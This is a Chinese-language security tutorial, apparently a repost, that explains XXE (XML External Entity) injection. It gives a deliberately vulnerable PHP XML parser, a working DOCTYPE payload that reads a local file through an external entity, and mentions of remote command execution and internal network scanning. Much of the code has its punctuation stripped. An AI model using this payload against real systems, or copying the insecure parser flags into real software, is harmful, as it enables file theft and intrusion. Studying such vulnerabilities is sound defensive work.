网站建设是怎么收费的,vps 内存影响 网站,网站开发课题开发背景,动易网站后台管理功能简介 XXE (XML External Entity Injection) 漏洞发生在应用程序解析 XML 输入时#xff0c;没有禁止外部实体的加载。 简单的理解#xff0c;一个实体就是一个变量#xff0c;可以在文档中的其他位置引用该变量。 实体主要分为四种#xff1a; 内置实体 (Built-in entities…简介 XXE (XML External Entity Injection) 漏洞发生在应用程序解析 XML 输入时没有禁止外部实体的加载。 简单的理解一个实体就是一个变量可以在文档中的其他位置引用该变量。 实体主要分为四种 内置实体 (Built-in entities)字符实体 (Character entities)通用实体 (General entities)参数实体 (Parameter entities)完整的介绍可以参考 DTD - Entities 到此网站学习一下 http://www.w3school.com.cn/dtd/ http://www.w3school.com.cn/xml http://www.w3school.com.cn/xml http://hublog.hubmed.org/archives/001854.html https://www.tutorialspoint.com/dtd/dtd_entities.htm http://blog.leanote.com/post/xuxi/XXE%E6%80%BB%E7%BB%93 //XXE总结 https://security.tencent.com/index.php/blog/msg/69 http://www.freebuf.com/articles/web/97833.html 危害 对于 XXE 的危害主要有 窃取敏感数据 (extracting sensitive data).远程代码执行 (remote code execution).攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等. 举例 服务器上面有一个xxeInject.php存在一个注入的文件正常访问。 文件内容 ?php
#关闭Warning
error_reporting(E_ALL^E_NOTICE^E_WARNING);#加载xml文件不懂php://input 参考下面链接
#http://taoshi.blog.51cto.com/1724747/1165499
$xmlfile file_get_contents(php://input);
$dom new DOMDocument();# LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
$dom-loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds simplexml_import_dom($dom);
$user $creds-user;
$pass $creds-pass;echo Hello DaLao: . br . $user;
? 存在一个POSTXXE注入所以我们构造代码进行注入因为是测试我新建了一个文件如C://pass.txt内容ONDragonPassword,我们就利用这个漏洞进行此文件的读取。构造代码 ?xml version1.0 encodingUTF-8?
!DOCTYPE ONDragon [
!ELEMENT ONDragon ANY
!ENTITY xxe SYSTEM file:///C://pass.txt ]
credsuserxxe;/userpassONDragon/pass
/creds 我们打开火狐的Live Http这个小插件进行POST数据注入。 把我们的POST数据包复制上去然后Replay就可以获取C://pass.txt内容ONDragonPassword啦。 可以看到利用它可以查看服务器上的文件。命令执行得需要服务器有一个expect扩展插件如果按照此插件就可以进行远程命令执行。此外还可以进行类似SSRF的攻击内网信息收集端口扫描等等。转载于:https://www.cnblogs.com/DeeLMind/p/6897967.html